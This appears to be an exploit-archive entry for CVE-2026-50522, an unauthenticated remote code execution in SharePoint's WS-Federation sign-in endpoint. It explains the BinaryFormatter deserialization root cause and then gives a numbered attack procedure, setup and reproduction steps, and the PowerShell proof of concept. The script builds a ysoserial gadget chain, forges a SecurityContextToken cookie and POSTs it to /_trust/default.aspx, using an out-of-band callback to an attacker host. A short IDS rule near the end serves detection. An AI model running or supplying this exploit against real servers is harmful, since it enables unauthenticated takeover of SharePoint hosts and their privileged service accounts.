Microsoft SharePoint Server WS-Federation SecurityContextToken Deserialization → Unauthenticated RCE (CVE-2026-50522)

SharePoint’s WS-Federation passive sign-in endpoint (/_trust/default.aspx) accepts a wresult parameter containing a WS-Trust RequestSecurityTokenResponse that can carry a SecurityContextToken with an embedded Cookie value. Windows Identity Foundation’s SessionSecurityTokenHandler decodes that cookie (via DeflateCookieTransform) and deserializes the resulting bytes using the legacy, unsafe BinaryFormatter — before any authentication has taken place. An attacker who crafts this cookie to contain a ysoserial.exe-generated .NET gadget chain (e.g. TypeConfuseDelegate) achieves arbitrary code execution as soon as the server processes the POST, with zero credentials and zero prior session state required. This is a sibling flaw to CVE-2026-58644 from the same July 2026 patch wave — same WS-Federation/WIF deserialization surface, different vulnerable path — but unlike CVE-2026-58644 (which has no public PoC and is known only via private threat-actor chains), CVE-2026-50522 has a real, working, publicly released weaponized PoC.

Root Cause

Unsafe deserialization (CWE-502) in the WIF SessionSecurityTokenHandler code path SharePoint uses to process WS-Federation sign-in responses. The handler treats the Cookie value inside an inbound SecurityContextToken as trusted server-issued state: it runs it through System.IdentityModel.DeflateCookieTransform.Decode() and then feeds the resulting byte array straight into BinaryFormatter.Deserialize() with no type filtering or integrity check tying the cookie back to a session the server itself issued. Because /_trust/default.aspx is the pre-authentication sign-in endpoint, this deserialization happens before the user has proven any identity, and any client can submit an arbitrary, self-forged SecurityContextToken cookie — including one built from a ysoserial.exe gadget chain designed to execute arbitrary code the moment BinaryFormatter reconstructs it.

Attack Vector

1. Generate a ysoserial.exe (the .NET/pwntester version, not the Java tool) payload using the TypeConfuseDelegate gadget chain and BinaryFormatter formatter, with the embedded command set to whatever the attacker wants executed (in the PoC: a PowerShell one-liner that fires an out-of-band Invoke-WebRequest to an attacker-controlled callback URL, used purely to confirm blind execution).
2. Take the raw gadget-chain bytes and run them through System.IdentityModel.DeflateCookieTransform.Encode() (the same WIF-internal class the server itself uses to decode cookies), then base64-encode the result — this guarantees the forged cookie is byte-for-byte compatible with what the server’s DeflateCookieTransform.Decode() expects.
3. Wrap the encoded cookie in a <sc:SecurityContextToken> element with an arbitrary sc:Identifier, itself wrapped in a WS-Trust <t:RequestSecurityTokenResponse> (RSTR) envelope — the structure the WS-Federation passive sign-in protocol expects in its wresult field.
4. POST this wresult, along with wa=wsignin1.0 (the WS-Federation “sign-in” action) and a wctx reply-context value, to the target’s /_trust/default.aspx — no cookies, session, or credentials required.
5. The server’s WIF pipeline decodes and deserializes the forged SecurityContextToken cookie via BinaryFormatter, triggering the gadget chain and executing the attacker’s command in the SharePoint application pool’s context.

Impact

Unauthenticated remote code execution on internet-facing SharePoint Server 2016/2019/Subscription Edition deployments, in the context of the SharePoint application pool identity (typically a highly privileged service account with access to the content databases and often broader AD-integrated infrastructure). CISA added this to KEV; watchTowr honeypot telemetry recorded real-world exploitation attempts within hours of the PoC’s public release.

OS:          Windows Server (SharePoint 2016/2019/Subscription Edition host)
Target:      SharePoint Server, unpatched (pre 2026-07-14 July Patch Tuesday update),
             /_trust/default.aspx reachable over HTTP/HTTPS
Attacker:    Windows or any host capable of running PowerShell + ysoserial.exe (.NET version)
Tools:       PowerShell, ysoserial.exe (pwntester/ysoserial.net), Burp Suite (optional, for
             interception — the PoC defaults to routing through a local proxy)

Setup Steps

1

python3 -m http.server 80

See SharePoint-SE-p2o-PoC.ps1 (full, unmodified) in this folder — mirrored verbatim from the researcher’s public gist: testanull/0868e02d81d57d6c59a91261969f7f81 (“SharePoint SE p2o PoC”, created 2026-07-20). Verified before ingestion by fetching and reading the actual raw gist content (1258 bytes, single-line minified PowerShell) — not paraphrased or reconstructed from a description. The script: (1) shells out to a real ysoserial.exe binary with a genuine TypeConfuseDelegate/BinaryFormatter gadget chain, (2) encodes the resulting bytes with the real WIF System.IdentityModel.DeflateCookieTransform class (loaded via Add-Type -AssemblyName System.IdentityModel) rather than a hand-rolled approximation, (3) builds a syntactically correct WS-Trust RequestSecurityTokenResponse/SecurityContextToken envelope, and (4) POSTs it to /_trust/default.aspx with the exact WS-Federation wa=wsignin1.0/wctx/wresult field set. This is consistent with a genuine, tested exploit rather than a template or guess — no obfuscation, no unrelated network calls, no destructive default behavior beyond the attacker-supplied command.

Step-by-Step Reproduction

1. Prepare ysoserial.exe — place the .NET ysoserial.exe binary somewhere the script can invoke it (the PoC assumes it is on PATH or in the working directory).

   PowerShell Copy

   1 2	# Confirm the binary is reachable & 'ysoserial.exe' --help

2. Edit the script’s placeholders — before running, replace:

   • $cb="http://remote/spse-cookie-rce-$n" → an attacker-controlled callback host (the default remote is a placeholder), used only to confirm out-of-band execution.
   • 'http://TARGET/_trust/default.aspx' → the real target SharePoint site URL.
   • Remove or update -Proxy 'http://127.0.0.1:8080' if not routing through Burp for interception.

3. Run the script — it generates the ysoserial payload, wraps it as a forged SecurityContextToken cookie, and POSTs it to the target’s WS-Federation sign-in endpoint.

   PowerShell Copy

   1	.\SharePoint-SE-p2o-PoC.ps1

4. Confirm execution — watch the attacker-controlled callback listener for the inbound out-of-band request that proves the deserialized gadget chain executed on the target.

Exploit Code

See SharePoint-SE-p2o-PoC.ps1 in this folder (full, unmodified, single-line minified script as published by the researcher).

1
2
3
4
5
6
7
8

& 'ysoserial.exe' -g TypeConfuseDelegate -f BinaryFormatter -o raw -c $cmd --outputpath $tmp | Out-Null
Add-Type -AssemblyName System.IdentityModel
$raw = [IO.File]::ReadAllBytes($tmp)
$cookie = [Convert]::ToBase64String(([System.IdentityModel.DeflateCookieTransform]::new()).Encode($raw))
$token = "<sc:SecurityContextToken xmlns:sc='http://schemas.xmlsoap.org/ws/2005/02/sc'><sc:Identifier>urn:unique-id:securitycontext:$n</sc:Identifier><Cookie xmlns='http://schemas.microsoft.com/ws/2006/05/security'>$cookie</Cookie></sc:SecurityContextToken>"
$rstr = "<t:RequestSecurityTokenResponse xmlns:t='http://schemas.xmlsoap.org/ws/2005/02/trust'><t:RequestedSecurityToken>$token</t:RequestedSecurityToken></t:RequestSecurityTokenResponse>"
Invoke-WebRequest 'http://TARGET/_trust/default.aspx' -Method Post -ContentType 'application/x-www-form-urlencoded' `
  -Body @{ wa = 'wsignin1.0'; wctx = 'http://TARGET/'; wresult = $rstr } -UseBasicParsing -TimeoutSec 60

Expected Output

Callback: http://remote/spse-cookie-rce-<guid>

Not included with the original gist — the researcher published only the PowerShell PoC script itself. Real-world exploitation was independently corroborated by watchTowr’s honeypot telemetry, which recorded exploitation attempts within hours of public release.

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"Possible SharePoint WS-Federation deserialization RCE (CVE-2026-50522)"; content:"/_trust/default.aspx"; http_uri; content:"SecurityContextToken"; http_client_body; sid:9000002;)

• CVE-2026-50522
• CISA KEV catalog entry — CVE-2026-50522
• Public PoC — testanull/0868e02d81d57d6c59a91261969f7f81 (gist)

This CVE was discovered as a byproduct of investigating its sibling, CVE-2026-58644 — same July 2026 SharePoint patch wave, same general WS-Federation/WIF deserialization surface, but a different vulnerable code path. CVE-2026-58644 has no public PoC; it is known only through private threat-actor exploitation chains, and this archive does not credit or fabricate a PoC for it. While investigating that sibling, this entry’s CVE (CVE-2026-50522) turned out to have a real, weaponized, public PoC from researcher testanull (“Janggggg”), published as a gist on 2026-07-20.

Verification performed before ingestion, per this archive’s standing rule: the gist’s raw content was fetched directly (not inferred from a description or write-up) and read in full — 1258 bytes, a single minified PowerShell line — confirming it genuinely implements the WS-Federation SecurityContextToken cookie forgery via the real WIF DeflateCookieTransform class and a real ysoserial.exe invocation, POSTed to /_trust/default.aspx. No scam/dropper/phantom-exploit red flags were found: the script does exactly what its mechanism description says, with no unrelated network calls or obfuscation, and the “callback URL” / -Proxy 127.0.0.1:8080 defaults are clearly attacker-editable placeholders (http://remote/..., TARGET) rather than a hidden malicious destination.